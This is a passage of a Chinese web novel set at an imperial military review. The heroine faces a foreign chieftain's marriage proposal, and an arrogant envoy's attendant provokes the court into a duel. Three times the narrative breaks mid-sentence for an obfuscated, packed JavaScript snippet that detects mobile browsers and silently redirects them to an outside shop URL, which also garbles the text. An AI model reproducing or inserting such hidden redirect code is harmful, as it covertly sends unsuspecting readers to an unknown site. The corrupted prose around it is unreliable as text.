大哥既已得知天心草的事,在这里守株待兔,不捉到她,绝不会撤下监视。 天心草,她是一定要吃的。 该怎么把那些守着的人引开? 明天就要去北郊,只能演武之后再想办法了。 —— 一刻钟后,姜六航的行踪被报到勤政殿。 “姜指挥?”秦信拧眉。 等了这些天,终于等到一个人往冷宫去,却是这个人。 “是。”冯简笔直站在御桌前,微微低着头,“军士们说,姜指挥仿佛闲逛到了那里,很好奇的样子,张望了一会就走了,没有进那院门。” “闲逛?”秦信转着佛珠,若有所思。 这时又有军士来报信:姜指挥出冷宫后,又往丹霞宫、凤鸣殿、慈庆宫、御花园、清音阁、皇家书楼……绕着皇宫转了大半个圈,这才出宫去了。 秦信:“……” 冯简莫名有些好笑,忍了忍没说话。 去年迎才宴,姜指挥想进皇宫,姜丞相来卖惨,却被拒绝。后来姜指挥考官,她侄儿说大姑姑考官只是为了进皇宫瞧瞧。再后来,姜丞相的寿宴后,人们都传说,姜指挥对皇上情根深种,为此千方百计闯关,得到官身,进宫伴驾。 如今看来,姜指挥或许有进宫伴驾的心思,但考官的目的,确实也应该有一部分是为了看看皇宫。 冯简偷眼瞧去,皇帝面上有些怔愣,不知是否也想起了那些事。 静了片刻,御桌后传来一声不明情绪的低语:“不是说身体弱吗?体力怎这样好?” 另一边,走出皇宫的姜六航弯腰捶了捶腿。 为了不露出破绽,弥补先前到冷宫的错失,她今天可是拼了老命! 还不知道是不是做的无用功——月底之前,纵使大哥不撤下冷宫的监视,她也不得不吃下天心草。那么,今天就是白白劳累一番。 而大哥会撤下监视吗?几乎可以肯定地回答:不会! 但姜六航向来要做的事,不到最后一刻,决不放弃。 捶了几下,她直起身,上了等候在旁的马车,往家里去了。 还要把没吃到天心草的坏消息告诉从庸叔叔。 —— 三月十八日,大夏君臣以及各国使者一同到达京城北郊。 这回大夏朝廷存心弘扬国威,震慑外邦,允许官眷和一些民间有影响力的人物参观。 到下午的时候,北郊搭起了绵延数里的帐篷,空地上建起观战的高台。 姜六航早带着军士在这里演练过,这时不需多言,各自安置下。军士们井然有序,守在自己的岗位上。那些外邦使者和来参观的本国人士在安顿好后,还有精力的,则在四处转悠。 姜六航作为本次演武的指挥者,有一个单独的帐篷。她巡查了一番御林军的情况,返回自己的帐篷时,路上遇见了一群少年,是应辉、姜持等人。 “姐姐!”姜持叫着,跑过来。 “二妹妹。”姜六航笑着拍了一下姜持的胳膊,“大嫂和小元元呢?” “他们累了,在帐篷里休息。” 这时,少年们都走了过来,姜六航转向他们:“这都是你的朋友?” “嗯!姐姐,他们都来看你大展神威!”姜持骄傲地抬起脸。 众少年一齐见礼,恭敬地唤道:“姜指挥!” 他们的神情里满是仰慕。 一个少年凑上前来:“姜指挥,我叫唐振东,是唐将军的儿子。” 姜持在一旁道:“姐姐,你可以叫他唐小豆。” 唐小豆神色僵了一下,显出一点不好意思。姜六航暗暗纳罕,去年在和州,当着她的面,众少年都叫唐小豆这个小名,唐小豆可没有不好意思过。 “姜指挥,我爹说,姜指挥在盘云县的防守战堪称经典,足可载入史册,供后人研习。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147401|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”唐小豆望着姜六航的眼里都是崇拜的小星星。 “过奖了。”姜六航笑着谦逊。 站着说了几句话,沉稳的应辉恐怕耽误姜指挥的正事,约束少年,请姜六航先行。 走了几十步,姜六航又遇到了熟人。 不过对于另两人而言,和她只在去年底的宫宴上有过一面之缘。 赵松拉着儿子武直向她行礼:“姜指挥。” 姜六航回礼,和赵松略微寒暄几句,转向武直:“小直直,你娘捎信回来没有?多久可以回来?” 武直:“二十几天。” 可真是够言简意赅的,一个多的字都不说。 这孩子说话迟,两岁多了还只会一个字一个字往外蹦,武成为此担心了好久。三岁多的时候,武直终于能说一整句话了,却极少开口,别人不主动问,他非必要,从不说话。 武成总是忧心儿子呆头呆脑,姜六航却不以为然。 只是不爱说话罢了,智力又没问题。她甚至觉得,这孩子比一般的孩子都聪明,只是想的多,说的少,心里明白着呢。 虽然觉得没问题,但这不妨碍她每每见着这孩子,就要逗着他多说话。 “还要二十几天啊?小直直想娘了吗?” “想。” “武将军回来,小直直要去城外迎接吗?” “接。” “那天要上学怎么办?” “请假。” “先生不准假怎么办?” 这个姑姑怎么和姜叔叔一样多话?连语气都很像。武直看了面前的姑姑一眼,回道:“再让我爹请。” 孩子的眼清澈纯净,似乎直看到了她心底。姜六航顿了一下,不知为何有点心虚,不敢再多问,摸摸孩子的头:“小直直真聪明。”随即和两人告别,径直走了。 —— 十八日下午官方没组织任何活动,让各人自行修整。 一夜无话。 第二天辰时,众人齐聚演武场。 旌旗猎猎,军威赫赫。 五百军士齐齐举弓,射向抛出的圆球,箭矢带着啸响飞去,无一球落空。密密麻麻的箭矢,震天的啸响,动人心魄,尤其是正面朝着箭矢飞来方向的参观者们,更是深受震动。 黑倭国使者和北狄此次带队前来的首领——乌格互视一眼,目中掩不住的凝重。 箭矢射出的距离和力度远超他们见过的最高水平。 大夏何时对弓箭进行了改良? 不远处的辽国使者从飞射的箭矢上移开目光,瞥向两人,面上现出犹疑和退缩。 秦信视线从这些神色各异的使者们脸上扫过,不动声色地轻轻捻动佛珠。 第二个项目是马术表演,军士们展示各种控马技巧:马腹藏身、马上站立、双骑交错换乘、纵马射箭等,最后还安排了一场小规模的骑兵冲击演练。 马蹄如雷,尘土飞扬。 一声金锣响,所有马匹陡然止步,片刻前沸腾的场中刹那静止,原地待命。 辽国使者朝着乌格低声道:“看这些军士的骑术,好像不比贵国自小长在马背上的健儿差多少。” 乌格搭在膝上的手指轻点:“光骑术好可不行,还得要能在马上杀敌。” “那是。”辽国使者附和,话题一转,“听说首领当年的手下,青面鬼才是吧,来大夏做了官,不知是哪位?” 乌格以目示意站在台前指挥的人:“就是她。” 姜六航察觉到一道灼人的视线,寻隙斜眼过去,却见一位二十大几岁、颇具异域风情的健壮青年定定凝视着她,继而咧嘴一笑。 110. 第 110 章 展示马术之后,御林军分为两队,分别进行攻山、守山演习。众人移步山顶,从上往下观看。 号角声裂空而起,刹时两方激烈碰撞,银甲在日光下流转寒光,刀剑挥舞,金铁交鸣,杀声震天。盾墙、箭雨、滚石擂木、飞钩攀岩……种种攻防手段令人目不暇接,心旌动摇。 黑倭国使者压低声音,以仅两人能听到的音量对身边的乌格道:“不想大夏军士战术如此多变,一不小心就要中了他们的诡计。我们和他们对上,恐怕……” 乌格轻声一笑:“我们又不要打下整个中原,怕什么?难道中原个个都是这样的精兵猛将?处处都是这样的高山峻岭,坚固城郭?中原富庶,只需我们合力冲破边防,黄金白银、粮食布料,任我们取用!按先前说好的,能拿到什么东西,拿到多少,三家各凭本事。” 他这样轻松的态度让黑倭国使者心下稍定,以手示意:“你看那边。” 隔着他们不远,平沙国使者满脸赞叹,指着半山腰和身边的几国使者说着什么,而辽国使者愣愣望着下面,面色紧绷。 “辽国似有退缩之意。”黑倭国使者道。 乌格抚着下巴:“不管他,他即使毁约,我们的兵力也够了。”他声音微顿,“何况,我们在大夏还有助力,冲破边防不难。” 两人说了这几句,再不多说,跟着众人一起观战,时而拍手称好。 随着鸣金收兵声响,这天的演武结束。 第二天上午,众人再次齐聚高台。 首先是阵法演练。 鹤翼阵、鸳鸯阵、方圆阵、一字长蛇阵……直到八阵图。 八阵图一出,外邦使臣们还不觉得什么,在他们的眼里,和先前的阵法差不多。可夏朝的武官们尽皆瞪大眼,呼吸急促。 是多了许多变化的八阵图! 是在盘云县东山,阻住十倍于己的大军三个多时辰的八阵图! 分、合、突、围,在令旗的指引下,阵型像被一双手随意拨弄,毫无阻滞,如水流淌,淹没闯入阵中的一切。 “好!”却是严回将军猛地站起身,拍掌大喝。 裴佑双眼晶亮,和旁边的唐云道:“纵是衡王布八阵图,也不过如此。” 应匡抚着长髯,脸上满是欣慰:“继衡王之后,大夏又得一大帅。” 唐云感慨:“我原先还觉得姜指挥闯第二关多少有一点运气在,心有不服,如今看来,她闯关时展现的才智,不过冰山一角。”他转向张炎,“张侯,你看呢?姜指挥如何?” 张炎眸中闪动,紧紧按着膝盖的手松下来,下巴绷紧的弧度也在刹那间缓和,颔首道:“变幻阵法,如臂指使,擅用地势兵力,能使其达到最佳效果,我远远不如也。” 这时阵法的变形愈加迅速,直看得人眼花缭乱。一千军士脚步震动大地,刀剑齐出时寒光如惊涛翻涌,交织成一片死亡之网,直让人惊心动魄,又热血沸腾。 皇帝所在的高台,众人尚且稍有克制,不是十分吵闹。而两边的看台上,却已喧闹冲天,激动的欢呼、高喝响成一片。 “啊啊啊啊啊啊啊啊啊!姐姐!” 少女的尖利嗓音穿透声浪,正台上的众人循声望去,姜子循一眼看到小女儿两手在嘴前拢成筒状,喊得脸上通红。 女儿身边是唐小豆,也一样拢手喊着,只是声音被女儿盖住了。 唐云也发现了儿子,努力瞪过去。 唐小豆对他爹的视线十分敏感,陡地侧头,对上他爹的黑脸,后知后觉成了众人注目的焦点,就连皇上都在朝这边望。他讪讪放下手,悄悄拉了拉身边还在激情喊叫的伙伴。 姜持反应过来,在四周的紧密盯视中,脸上现出一点无措。 姜子循正要开口给女儿解围,忽然,一声不输女儿的尖利嗓音就在左近响起,吓得他打了个哆嗦。 “啊啊啊啊啊啊啊啊啊!姜恒!”裴佑挥着手臂朝前台的指挥喊。 片刻之后,满场都传来“啊啊啊”的叫声,火热的目光转向八阵图以及指挥者,再无人注意那边的两个少年。 裴佑退回座位,施施然坐下。 姜子循无声地向她拱手表示感谢。 在喧闹起时,姜六航就改用了手势指挥,不管旁人怎么叫怎么喊,她就像没听到似的,只专注地盯着底下,变换手势。 八阵图演练结束之后,上午的演武完美落幕。 姜六航来复命,秦信勉励了一番,让她落座,转而对各国使者道:“大夏向来视诸国为兄弟,愿和睦相处,互通有无。不久大夏将开边市,诸国可用骏马、药草、兽皮与中原交换你们需要的丝绸、瓷器、茶叶等物。大夏也愿派学士前往诸国,教你们医术耕种。但若有人任意闯入大夏国土,杀我百姓,掠我财物,纵千里之远,大夏军士也必追击到底,不灭之不回转!” 各外邦使者纷纷表示愿与大夏交好,绝不侵犯。 在一片融洽的气氛中,乌格离座,走到正中,面对皇帝,郑重地行礼:“皇上,我心慕一大夏女子,皇上若能让她嫁与我,我愿立下文书,在我有生之年,绝不进犯大夏,且愿奉给大夏良驹五百匹、珍稀药材三十车,并岁岁来朝。” 夏朝群臣俱都面露惊讶,小声议论。 那文书且不说,立约也可毁去,但良驹五百匹、珍稀药材三十车,这可是实实在在的,手笔大得出奇。即使历史上北狄几次娶中原公主,聘礼中的骏马,最多也只有一百匹。 也不知这位北狄首领看中了大夏的哪位女子。 黑倭国使者却是莫名其妙。 说好的抢东西,怎么反而去送东西了? 不过转念一想他就明白了,这时送了,到时候翻倍抢回来就是。 只是,乌格此时求娶,当是真心喜欢那位女子。黑倭国使者满是好奇,很想知道,到底是哪位夏朝女子,能得北狄最勇猛战士的青睐? 在场大部分人和他同样心思,都竖起耳朵,等着皇帝询问女子的名字。 秦信抬眼,却根本没顺着乌格的话问下去,他直视着场中之人,眸中带着一丝不易觉察的冷意,淡淡道:“夏朝律例,女子嫁人需得自身同意,即使父母尊长也不能强迫。不能强迫嫁,也不能强迫不嫁,一切依从女子自身意愿。首领想要娶夏朝哪个女子,自去问她本人,不需来求朕。至于那骏马和药材也不必,朕不以女子婚姻牟利。” 乌格不由得满面愕然。 大夏何时立了这样的规矩? 这规矩真是……离谱! 在他们北狄,以女子换土地、换骏马、换财物从来天经地义,都是由部落首领和长辈做主,哪轮得到女子自己同意?美丽聪慧的女子本就是部落和家里的财富,能换得更多价值的东西。难道女子喜欢哪个,而那人又拿不出等价交换的东西,也把女子白白送给他?岂不是亏了大本? 难道是大夏皇帝为了博“仁德”的名声?但为了一个虚名,放弃那样大的利益,在乌格看来,真正是糊涂到顶了。 不过他当然不会去和皇帝辩论,马上收起脸上的愕然,笑了一声:“原来大夏是这样的规矩,我竟不知,皇上别怪。” 说着转身。 众人都以为他要回座了,谁知他左转,径直走到了姜六航面前,略微弯腰,倾身向前,从上往下对上姜六航的脸。 “枕书,听说你忘了以前的事,还记得我吗?” 青年健壮的身躯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150837|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堵在面前,以一种压迫的姿势俯视,视线灼热,又含着一点侵略的意味。 姜六航心中迪然升起一股反感。 呵。 第一次遇见人对她这样的态度,倒是新鲜。 从十五岁闯荡江湖,到后来成为姜帅,人们对她,不管是敬仰、还是畏惧、憎恨,都是把她放在对等甚至往上的位置。 可面前的这个人,让她有一种感觉,就像这人在居高临下,觉得自己可以随意摆弄她。 她当然知道这人是谁。 早在十几天前,姜大人给她来使的名单时就特意说了,北狄的带队人是乌格,魏枕书在北狄为之效力的人。 “不记得,你是谁?” 姜六航轻轻抬眸,缓缓问道,脸上没有什么表情。 她坐在那里,不退不缩,虽似被男子身影笼罩,却自有一种沉稳如山的气势,无端透出对抗的强硬。 倾身之人微微一愣,心中闪过一丝怪异和疑惑,不自觉皱了一下眉头。 失忆了,性子也会变吗? 他不喜欢女子对他这个样子。 这样的……刚硬。 不是讨厌,这恰恰是他喜欢的一个点。可是,这刚硬,应该和以前一样,藏在柔韧里,被他一步步软化。 而此时,却激起他莫名的戒惧,仿佛在战场上对上了劲敌。 他压下荒谬的感觉,并没退身,逼视着女子的眼:“我是你在北狄的部落首领。你从十六岁就在我的部落里,我对你信任有加,给你权力,给你勇士调遣。” 姜六航面无表情:“不记得。” 乌格紧盯着女子:“是真不记得了,还是仍在恼恨我?” 他以解释的口吻道:“枕书,那时也荒部落势大,我不能和他们硬抗,我也没打算娶他们首领的女儿,只是拖延着,哪知你就负气走了。也荒部落的人追杀你,使得你重伤,我后来也为你报了仇,把指使和追杀你的人都绑在马后拖得只剩骨头了。” 姜六航:“……” 这是什么狗血剧情? 虽然她觉得这人不是什么好东西,但她不知魏枕书的想法,不能代替旁人做决定,因此顿了顿,语气稍缓,含糊地应道:“哦。” 乌格却以为她已松动,紧接着道:“那你愿意嫁给我,随我回北狄吗?” 这话一出,大夏的许多大臣脸上变了颜色。 严回袖子一挽,竖起眉就要起身,应匡一把按住他,低声道:“别担心,姜指挥不会和他走。” “你怎知道?”严回急道,“他这是要兵不血刃,挖走咱们的帅才!” 唐云在旁插话:“姜指挥现在喜欢的可是皇上!” 对呀!他咋忘记这事了?严回放松下来,下意识往上座看去,皇上端坐在那儿,淡淡地注视着那头一坐一站的两人。 严回暗暗来回比较了一下皇上和那北狄首领的容姿和仪态,觉得皇上完胜,更加放下心。 姜六航可不知这边的暗流涌动,只推脱道:“我还要治病,以后再说吧。” 救命!魏枕书现在哪里?演武之后,要赶紧和今禾姐联系上。 乌格露出满意的神色。 枕书这样说,那就是答应了。 “那我等着你。”他顿了顿,又挑眉笑道,“枕书,你的声音很好听。”这才离开。 —— 下午是个人武艺展示,不局限于御林军士,在京城内外的军士中选出武艺高强者两两对战,决出头名。 最后是一名锦衣卫打败了对手,获得最终胜利。 在轰然的喝彩声中,一个粗粝的嗓音响起,说着生硬的中原话:“这就是中原的最高武术?不过如此!” 111. 第 111 章 “不过如此!” 这声音里满含轻蔑不屑。 众人朝声音来处望去,却是那黑倭国使者身后站立的一个随从,个子不高,身形瘦削,双眼开阖间满是精光。 “怎可无礼!”黑倭国使者呵斥,里面却没有多少怒气,“这哪有你说话的地方?快向皇上请罪!” 随从向上座抱了一下拳:“皇上,我并无恶意,只是听说中原武功精妙,出了很多了不起的人物,本想着来中原见识一番,可见了贵国今天比斗的头名……”他瞥了还站在场中的那位锦衣卫一眼,以十足遗憾的语气道,“有些失望。” 锦衣卫脸上憋得通红,想要说话,那随从又正向皇上上禀,不好打断。 裴佑、严回等人脸上都现出怒色,即使沉稳如应匡,此时也冷下了脸。 随从却像没看见众人不忿的神色,自顾摇头:“想来中原那些盛名远扬的人物,什么衡王、飞燕侠、霸王枪……也多有名不副实。” 这话一出,他感觉到躁动的气流陡然凝固,气温仿佛刹那下降到能凝结成冰。眼角余光里,夏朝好几位大臣霍地站起,面色铁青,紧握拳头,似乎要立刻扑上来揍他一顿。 上座幽深的凤眸突然投过来,深不见底的暗色里隐隐闪动杀机,让他心头猛然一悸。 “皇上!”在他愣神之际,一旁的锦衣卫忍不住了,一步跨出,朝着上座行了一礼,主动请战,“臣愿与这位壮士比试!” 秦信看着随从,声音沉冷:“你可愿与他比试?” 听到皇帝问话,随从定了定神。 刚才一瞬间,他竟被这明显无甚高深武功的人震住了,如同遇见了危险至极的天敌。他自觉丢脸之余,又不免暗自惊疑。 难道中原皇帝真如中原人所说,是上天之子,身带威势,令凡人不敢冒犯? “小人学的是杀人之剑,如果比试,不敢全力施为,恐怕失手。”他先回了皇帝,随即转向锦衣卫,轻慢地摆手,“算了,不比了,我怕伤了你的性命。” 竟如此无礼! 如此狂妄!如此嚣张! 答皇帝的问询,却不待皇帝回应,即转向别处,随意得仿佛在和偶遇的无关紧要之人闲谈。 尚未与人交手,即傲慢地口出狂言。 在场的许多人都知道,这名锦衣卫是铁骨军的老人,武功高强,在铁骨军中能排进前五,衡王都曾赞过的。 可在随从的嘴里,却是不堪一击。 连衡王,在他的嘴里,也是浪得虚名之人。 夏朝众多大臣眼中如要喷出火来,只是碍于作为东道主,不好高声喝骂。 当然也有不管不顾的,当即就要与随从理论,但被边上的人拉住了。 姜六航视线扫过那随从,皱起眉。这人从出来后说的话,以及傲慢的态度,给她一种故意挑衅的感觉,就像是要故意挑起矛盾。 而黑倭国使者只在最开始没有什么诚意地呵斥了一句,之后就一直由着随从挑衅,再没出声阻止,放任的态度再明显不过。 没有主人的默许和指使,随从不敢如此。 黑倭国想干什么? 她再观察其余的使者,以平沙国使者为首的两三人,皱着眉,面上显出不赞同的神色,而大部分使者都是一副看热闹的神态。 这时,锦衣卫的声音打断了姜六航的思绪。 “我和你签下生死状。”锦衣卫满面气愤地对随从道,“比斗过程中,若有误伤,各自认命,你只管拿出全部本事!” “这不太好吧?”黑倭国使者在隐身许久之后终于出声,面上为难,“我们本是来朝贺,怎好伤了上国之人?” 这话里的意思,分明和那随从一样,觉得他们夏朝不是对手! 严回一拍大腿,霍地站起来,就要开口说话。 旁边的唐云没来得及按住,心中大急。 黑倭国猖狂,肯定要反击回去,但不能影响两国邦交,也不能失了大国的风度。严将军鲁直,说话只怕没轻没重。 可再着急,唐云也没办法,他总不能捂住严回的嘴。 “严将军。”上座传来声音。 严回看过去,触到上座投来严厉的眸光,他喉咙口的怒骂噎住,“嘿”了一声,悻悻地坐下。 秦信眼神逼退严回,对黑倭国使者道:“比斗之中哪能确保不受伤?若是贵国勇士伤了我国的人,朕不怪罪,若是我国的人伤了贵国勇士,也请贵使不要介意。” 黑倭国使者笑道:“皇上既然这样说,那就让他们两人比一比。” —— 高台正中,两人相对而立,各自抱拳说了一声“请”。 锦衣卫想着己方是东道主,存心让那随从先出招,谁知对方始终凝立不动。 令他诧异的是,他感觉不到对面的杀气,更确切地说,他感觉不到对面的气息,就像那里根本没站着个人。 这很不寻常。 须知按照常理,越是高手,气势越盛。 两人像两尊石像,对立着一动不动,四周响起了低微的嘈杂声。 就在这时,锦衣卫突然向对面挥出力若千钧的一刀。刀锋将要到对方面门,人却忽然不见了。 凭空不见了! 锦衣卫心中大骇。 这是怎么回事?人到哪里去了? 旁观的众人比他更加惊骇。 只是一眨眼,那随从从原地消失,悄无声息地出现在锦衣卫的身后,在这个过程中,他们并没看见随从移动的痕迹。 这世上还有隐身术不成? 他们看见随从手中一把闪烁寒光的短刃向锦衣卫脖子划去,而锦衣卫却浑然不觉。 已有人忍不住惊叫出声。 在刀刃触及皮肤的刹那,锦衣卫终于察觉到危险,向前急跨一步,同时转过身。他的反应已经很快了,可是脖子上还是带出了一条血线。 夏朝众人都是脸色大变。 一招,即已见血。 更让他们不安的是,这武功路数见所未见,和中原武功截然不同。 身处场上的锦衣卫心中更是惊骇,他咬了咬牙,又是一刀劈去。这次刀速愈快愈急,可再一次地,那人从眼前消失。 第二招,锦衣卫右腰被刺中。 此后每一招,锦衣卫都有一处受伤。 随从像猫戏老鼠,每次都刺得不深,一次次的鲜血溅出,像一巴掌又一巴掌扇在夏朝众人脸上。 裴佑脸色铁青,跃出扶住已经全身被血染红仍挣扎向前的锦衣卫,沉声道:“你输了。” 锦衣卫颓然停下。 是啊,他早输了,再过去也只是自取其辱。 “对不起。”他哽咽着道。 输的不只是他自己,他把大夏的脸面都输了,在精心筹备的演武会上,在这样多外邦国家面前。 “听闻中原高手众多,还有谁能让我见识一下?”随从立在高台中央,环顾四周,傲然地道。 上座,秦信沉着眸子,缓缓转动佛珠。 近来,因着中原逐渐富足,北狄、黑倭国、辽国等起了觊觎之心,蠢蠢欲动,因此他才定下这次的演武,以作震慑。 黑倭国这人的举动,是挑衅,也是试探。 若是不能把他打压下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151664|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,其它国家也难免对大夏产生轻视,则之前的所有努力前功尽弃。 可是,有谁能赢过此人? 应匡?冯简?裴佑? 他刚才看了,这几人面色异常凝重,显然没有战胜的把握。 在他想着时,那随从又出言挑战:“偌大中原,竟无一人能与我对战吗?” 场上一片压抑的气氛。 夏朝武将互相望望,都不敢轻易尝试。 这回输了,后面再赢也没了意义。人们只会说,他们是用车轮战赢了黑倭国。 可总要有人出来应战。 裴佑让军士把那锦衣卫扶了下去,踏步到场地中央,朝着上座抱拳:“皇上,臣愿与他比斗!” 秦信目光落到裴佑脸上,还未开口,忽然一个声音道:“裴国公,你不是他的对手。” 左卫将军猛地侧头,不敢置信地看向坐在他下首的人。 姜指挥怎么长他人志气,灭自己威风?即使小裴国公真不是那人的对手,也不能这样当众说出来吧?况且在场的人,没人能强过小裴国公,她打不过也就没人能打过了。 眼见场上目光都往这里聚过来,连皇帝也望过来,左卫将军心里一咯噔。 这若是在战场上,姜指挥这话,可是动摇军心的杀头重罪。 他深恐皇帝责怪,连忙道:“姜指挥,你不通武术,不要胡说。” 姜指挥却没有领会到他的好意,像头犟驴似的坚持道:“我读过几本有关武术的书本,略知一二,看得出裴国公不是他的对手。” 夏朝大臣,尤其是武将们,听了这话皆是脸色怪异。 读过武术的书? 姜指挥莫非以为,读过几本武术的书,就能指点武艺了? 要是这样,那些儒士岂不个个都可以成为武功高手?他们可比武夫会读书多了! 他们看着姜六航,满脸无语,殊不知姜六航这时也是硬着头皮,装作没看见他们的神色,继续道:“这位黑倭国勇士武术奇诡,中原从未见过这样的招数,裴国公一时间恐怕想不出破解的办法。” 那随从哈哈笑道:“姜指挥虽是文人,眼光却好,知道你们中原武功破不了我的招数。” 姜六航不理他,接着说道:“其实他的武功不过如此,只不过使了些障眼法。若是有得十来日,学会了看穿他的障眼法,中原即使一个略通武术的人,也能毫不费力地赢下他。” 随从的笑声嘎然而止,怒目瞪过去。 旁边却传来一声笑,却是那黑倭国使者,他道:“姜指挥明明知道,我们三天后就要返回,等不了十天。”他摇着头,满面无可奈何,“姜指挥说什么就是什么吧。” 他话语中未尽的含义满溢出来,分明是在说,姜恒仗着随从不能留下等着十天后与人比试而信口雌黄。 其余外邦使者纷纷低声议论,从他们的神情看得出,他们根本不信姜六航的话,认为她那样说,只是眼见无人能打赢随从,要强行挽回大夏的面子。 非但他们不信,夏朝众人也不信。 姜指挥是好意,但说什么一个略通武术的人也能赢下那随从,牛吹得太大了些。 且武术终归要手上见真章,说一千道一万,若是今天不能当场把那随从打趴下,总不能让人信服。 姜六航无视旁人各异的神情,对黑倭国使者道:“他的障眼法破起来很简单,只要有人指点,十天足够学会破解。可惜我不会武功,他又等不了十天,不能当场证实此事。” 她想了想,以商量的口气道:“这样,我报招式,让一人依照出招,与他对战以定输赢,贵使看如何?” 112. 第 112 章 这话一出,场上几乎所有人心中都闪过荒谬的感觉,以为自己听错了,可看到别人脸上也是那种啼笑皆非的神色,他们就知道,姜指挥确实是那样说的。 她说,让人按照她报的招式和那随从对战。 她以为这是过家家吗! 黑倭国使者好笑地问:“姜指挥,你知道几招剑法?或是刀法?” 姜六航挑了挑眉:“知道的不多,但我的记性好,确定与贵使随从对战的人后,只要她在我面前把自己的招式演示一遍,我就能记住,然后在对战的时候,报出破解贵使随从障眼法的招式。” 黑倭国使者:“……” 一旁的左卫将军拉了拉姜六航的袖子,低声道:“姜指挥,这不行。” “为什么不行?”姜六航转头问。 左卫将军噎了噎。 姜指挥竟然问,为什么不行? 不行的太多了! 且不说她报出的招式能否真的制敌,当然九成九是不能的——不过,先不说这个,只说配合,就是一个大问题。 怎能保证他们这方的人按照她的口令及时出招? 随从速度奇快,他们这方反应稍慢一点即会落败。 他一时没说出话,姜六航却已站起,理了理衣袖,径直走到场地中央,朝着上座抱拳道:“皇上,臣请命,破解黑倭国随从的障眼法。” 四周顿时响起一片“嗡嗡”声,只觉得这人在儿戏。 这个关头来添乱,皇帝肯定会狠狠训斥她一顿。 可是过了一息、两息……五息、十息,上座仍然未出声,众人察觉异常,慢慢地停下议论,往御座望去。 秦信捏紧佛珠,幽深眸光投到场中请命之人的身上。 女子那样坚定,那样从容,分明是荒谬绝顶的提议,可又让他不由自主地想要去信任。终于,在一片寂静中,他问道:“你欲与谁配合?” 满场哗然。 应匡、左卫将军等人站起身,准备说什么,秦信摆手止住了他们,示意场中的人:“你说。” “臣请与裴国公共同出战!”姜六航声音清晰地道。 “准。”在一片愕然中,秦信一锤定音。 —— “第一招,翩然入世。” “第二招,逍遥人间。” “第三招,恍然如梦。” “第四招,……” 再世剑法必须配合相应的心法使用才能发挥效力,不然纵使学了招式去,也只得其形不得其神。所以裴佑也没避着人,在高台上,当着众多人的面,就一招招地展示起来。 直到三十三招全部展示了一遍。 “每一招还有许多变式……”裴佑说着,就准备一一演示。 “不用。”姜六航摆手,“我到时候报招式,你自己确定用哪个变式就是。” 裴佑:“……” 应匡等人面面相觑,更是觉得心里没底。 这现学现卖的,能行? 那随从在一旁冷笑不止。 那边文臣座中,裴祥光脸上尽是不满,一摆衣袖道:“胡闹!姜……”转眼瞥见上位的姜子循,他顿了顿,缓和了些语气,但仍泄出掩不住的气恼,“姜指挥不通武术,情有可原,但裴佑怎么就跟着乱来?勉力一拼,还有赢的希望,即使输了,也尽了全力,无可指责,可现在如此儿戏,要是输了,罪责可全在她们两人身上。” 姜子循揉着眉心,沉默不语。 倒是坐在裴祥光下首的谢思礼道:“姜丞相、裴尚书,两位不必太忧心,姜指挥从不妄行,她既这样做,定有把握。” 坐在谢思礼之下的迟非晚闻言,意外地看了身边人一眼。 谢尚书从来不把没有丝毫证据的猜测宣之于口,今儿却是奇了,竟然直言姜指挥有把握……嗯,姜指挥看起来确实很有把握,但最应该持怀疑态度的刑部尚书怎么这样容易地就相信了呢? 而且谢尚书和姜指挥好像并无多少来往,什么时候这么了解姜指挥了? 四周的看台上,各个来观看演武的人们也在议论不绝。 唐小豆问姜持:“你姐姐会武?” 姜持摇头:“不会。” 唐小豆怀抱着一丝希望再问:“姜指挥平日指导过你的刀法?”或许姜指挥在武学上也有天赋,只是没传出来,外人不知道。 姜持又摇头:“没有。” “糟了糟了糟了!”唐小豆连连拍着栏杆。 应辉等人也面露忧色。 姜持却满怀信心,昂着头道:“你们不用担心,我姐姐既说破那障眼法简单,那就一定没问题,你们就等着看我姐姐大展神威吧!” 应辉等人互视一眼,心里不信,但明智地没有反驳。 他们可不敢捅马蜂窝。 自姜指挥闯三关之后,他们的这位伙伴本就日常把夸赞自家姐姐的话挂在嘴上,而等姜指挥在盘云县挡住苏用大军数天直到援军到来,伙伴对自家姐姐的狂热达到了听不得旁人对她一丝怀疑的程度。 在伙伴嘴中,姐姐简直成了天上的神仙,聪明绝顶,碾压众生。 他们若敢驳一句,非得被伙伴揪着说道理,直到亲口承认自己的错误为止。 唐小豆干笑着:“好,我们等着看。” 此时,对战的两人站到了场地中间。 裴佑先出手。 用的是再世剑法的第二十一招——万星璀璨。 她和姜六航已经说好,在姜六航没有报招时,她自行出招。 